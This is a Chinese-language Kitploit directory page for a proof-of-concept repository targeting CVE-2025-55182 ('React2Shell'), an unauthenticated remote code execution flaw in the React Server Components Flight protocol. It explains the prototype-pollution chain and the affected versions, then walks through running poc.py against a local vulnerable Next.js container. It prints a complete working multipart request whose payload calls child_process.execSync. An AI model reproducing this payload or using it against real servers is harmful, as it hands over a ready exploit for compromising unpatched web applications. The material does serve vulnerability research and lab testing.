Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2025-55182 — CVE-2025-55182 — React2Shell | Kitploit
工具/GitHubGitHub/ryosukedtomita/cve-2025-55182
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试红队Payload 开发
GitHubryosukedtomita/cve-2025-55182

CVE-2025-55182

CVE-2025-55182 — React2Shell

查看仓库
5个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
网站
分享

CVE-2025-55182 — React2Shell

NOLICENSE

索引

  • 关于
  • 环境
  • 使用方法

关于

CVE-2025-55182("React2Shell")是 React Server Components 的 Flight 协议反序列化器中存在的 CVSS 10.0 无需认证的 RCE 漏洞。

漏洞概要

React 的 Flight 协议客户端中的 reviveModel 函数未使用 hasOwnProperty 验证对象键,因此攻击者可以通过 __proto__ → constructor → Function constructor 的原型链执行任意 JavaScript 代码。

由于带有 Next-Action 头的 multipart POST 请求会在认证前触发反序列化,因此无需认证即可实施攻击。

影响范围

组件受影响版本修复版本
React19.0.0 – 19.2.019.2.1
Next.js≤ 16.0.616.0.7

环境

目录结构

root@kitploit:~
CVE-2025-55182/
├── flake.nix          # Nix 开发 shell(nodejs_20, yarn, python3+requests)
├── poc.py             # 漏洞利用脚本
└── target/            # 存在漏洞的 Next.js 应用
    ├── Containerfile  # podman 构建用
    ├── package.json   # [email protected] / [email protected]
    ├── next.config.ts
    ├── tsconfig.json
    └── app/
        ├── layout.tsx
        └── page.tsx

依赖工具

  • Nix — 可复现的开发环境
  • podman — 容器运行时
  • Python 3 + requests — 执行 PoC

使用方法

1. 启动开发 shell

root@kitploit:~
nix develop

2. 构建容器

root@kitploit:~
podman build -t cve-2025-55182 target/

3. 启动存在漏洞的服务器

root@kitploit:~
podman run -d -p 3000:3000 --name vuln cve-2025-55182

4. 执行漏洞利用

root@kitploit:~
python poc.py http://localhost:3000 "id"

响应 JSON 中的 digest 字段会返回命令执行结果。

root@kitploit:~
[*] Target: http://localhost:3000/
[*] Command: id
[*] Sending exploit payload...
[*] Response status: 200
[+] Command output: uid=1000(node) gid=1000(node) groups=1000(node)

5. 确认副作用

root@kitploit:~
# 写入文件
python poc.py http://localhost:3000 "touch /tmp/pwned"

# 在容器内确认
podman exec -it vuln sh
# => ls /tmp/pwned
podman exec -it vuln sh -c "ls /tmp" # 也可用此方式

通过 Burp Suite 查看

前提是已在 localhost:8080 启动 Burp

root@kitploit:~
HTTPS_PROXY=http://localhost:8080 HTTP_PROXY=http://localhost:8080 python poc.py http://localhost:3000 "id"
root@kitploit:~
POST / HTTP/1.1
Host: localhost:3000
User-Agent: python-requests/2.32.3
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: keep-alive
Next-Action: x
Content-Length: 580
Content-Type: multipart/form-data; boundary=19a7dba25a68483f4234c90a07a425a2

--19a7dba25a68483f4234c90a07a425a2
Content-Disposition: form-data; name="0"

{"then": "$1:__proto__:then", "status": "resolved_model", "reason": -1, "value": "{\"then\": \"$B0\"}", "_response": {"_prefix": "var res = process.mainModule.require('child_process').execSync(\"touch /tmp/pwand\",{'timeout':5000}).toString().trim(); throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});", "_formData": {"get": "$1:constructor:constructor"}}}
--19a7dba25a68483f4234c90a07a425a2
Content-Disposition: form-data; name="1"

"$@0"
--19a7dba25a68483f4234c90a07a425a2--

6. 清理

root@kitploit:~
podman stop vuln && podman rm vuln
下载工具